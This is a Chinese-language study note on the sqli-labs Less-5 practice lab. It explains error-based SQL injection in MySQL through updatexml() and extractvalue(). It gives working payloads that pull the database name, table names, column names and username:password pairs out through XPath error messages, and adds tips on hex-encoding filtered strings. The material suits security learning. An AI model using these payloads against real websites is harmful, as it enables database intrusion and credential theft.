Less5漏洞复现常用函数（意义+用法）笔记

Less5 核心为「单引号闭合的报错注入」，核心逻辑是利用函数触发XPath语法错误，将数据库敏感数据通过报错信息回显。所用函数分为「核心报错函数」和「辅助查询函数」，以下逐一整理（结合实战场景，易懂好记）。

一、核心报错函数（核心必备）

作用：通过构造非法参数，触发函数的XPath语法错误，迫使数据库输出错误信息，间接泄露敏感数据。Less5中最常用2个，原理一致，可互换使用。

1. updatexml() 函数

函数意义：MySQL内置函数，用于更新XML文档中指定节点的内容。正常用法需符合XPath语法，若传入非法语法（如特殊字符），会触发报错，报错信息中会包含非法参数内容——这是注入的核心利用点。

语法格式：updatexml(xml_document, xpath_expr, new_value)

参数说明：

- xml_document：XML文档对象（注入时无需真实XML，填1、0等任意数值即可，仅为满足函数参数要求）；
- xpath_expr：XPath表达式（核心注入点，传入拼接了敏感数据+特殊字符的非法表达式，触发报错）；
- new_value：替换节点的新值（注入时无需实际替换，填任意数值即可）。

Less5实战用法（结合辅助函数）：

```
1   http://127.0.0.1/sqli-labs/Less-5/?id=1' and
    updatexml(1,concat(0x7e,database()),1)--+
```

解析：用concat()拼接特殊字符0x7e（~的十六进制，破坏XPath语法）和database()的结果（当前数据库名），传入xpath_expr参数，触发报错，报错信息中会显示「~+数据库名」，实现数据泄露。

注意：报错信息长度有限（约32位），超过会被截断，需配合limit逐行获取长数据。

2. extractvalue() 函数

函数意义：MySQL内置函数，用于从XML文档中提取指定XPath节点的值。与updatexml()原理完全一致，传入非法XPath表达式时触发报错，泄露敏感数据，可作为updatexml()的替代方案。

语法格式：extractvalue(xml_document, xpath_expr)

参数说明：

- xml_document：XML文档对象（注入时填1、0等任意数值即可）；
- xpath_expr：XPath表达式（注入核心，传入非法表达式触发报错）。

Less5实战用法：

```
1   http://127.0.0.1/sqli-labs/Less-5/?id=1' and
    extractvalue(1,concat(0x7e,database()))--+
```

解析：与updatexml()用法一致，仅少了第三个参数，报错效果、数据泄露逻辑完全相同，可互换使用（避免单一函数被过滤时备用）。

二、辅助查询函数（配合报错函数使用）

作用：用于拼接字符、查询数据库敏感数据（数据库名、表名、字段名、数据），将结果传入报错函数，实现泄露。

1. concat() 函数

函数意义：字符串拼接函数，将多个字符串/函数结果拼接成一个字符串。注入中核心用于拼接「特殊字符（触发报错）」和「敏感数据（需泄露的内容）」。

语法格式：concat(字符串1, 字符串2, ..., 函数结果)

Less5实战用法：

- 拼接特殊字符与数据库名：concat(0x7e, database()) → 结果为「~security」（0x7e是~的十六进制，避免特殊字符被过滤）；
- 拼接用户名和密码：concat(username, ':', password) → 结果为「Dumb:Dumb」（方便一次性获取账号密码）。

关键注意：必须拼接特殊字符（如~、@），否则无法破坏XPath语法，无法触发报错。

2. database() 函数

函数意义：MySQL内置函数，无需参数，直接返回「当前连接的数据库名」，是注入时获取数据库信息的第一步。

语法格式：database()

Less5实战用法：配合updatexml/extractvalue使用，如：

```
1   and updatexml(1,concat(0x7e,database()),1)--+
```

报错后可直接获取当前数据库（默认是security）。

3. group_concat() 函数

函数意义：将查询结果集中的多个值，拼接成一个字符串（用逗号分隔），避免多次查询，适合批量获取表名、字段名。

语法格式：group_concat(字段名/函数结果)

Less5实战用法（爆表名、字段名）：

```
-- 批量获取当前数据库的所有表名
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+
-- 批量获取users表的所有字段名
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1)--+
```

注意：若结果过长（超过32位），会被报错函数截断，此时需用limit逐行获取。

4. limit 子句（非函数，核心辅助）

作用：限制查询结果的行数，解决报错函数「长度限制」问题，逐行获取被截断的数据（如users表的账号密码）。

语法格式：limit 偏移量, 行数（偏移量从0开始）

Less5实战用法（逐行获取账号密码）：

```
-- 获取第1条数据（偏移量0，取1行）
and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)--+
-- 获取第2条数据（偏移量1，取1行）
and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 1,1)),1)--+
```

三、补充说明（易错点）

- 所有函数需在「单引号闭合」前提下使用（Less5是单引号注入，id=1' 触发报错，后续语句需用--+注释掉后面的SQL语句）；
- 0x7e（~）可替换为其他特殊字符（如0x40/@），只要能破坏XPath语法即可；

- 若字符串被过滤（如单引号），可将字符串转为十六进制（如'users' → 0x7573657273），避免被拦截。

（注：文档部分内容可能由 AI 生成）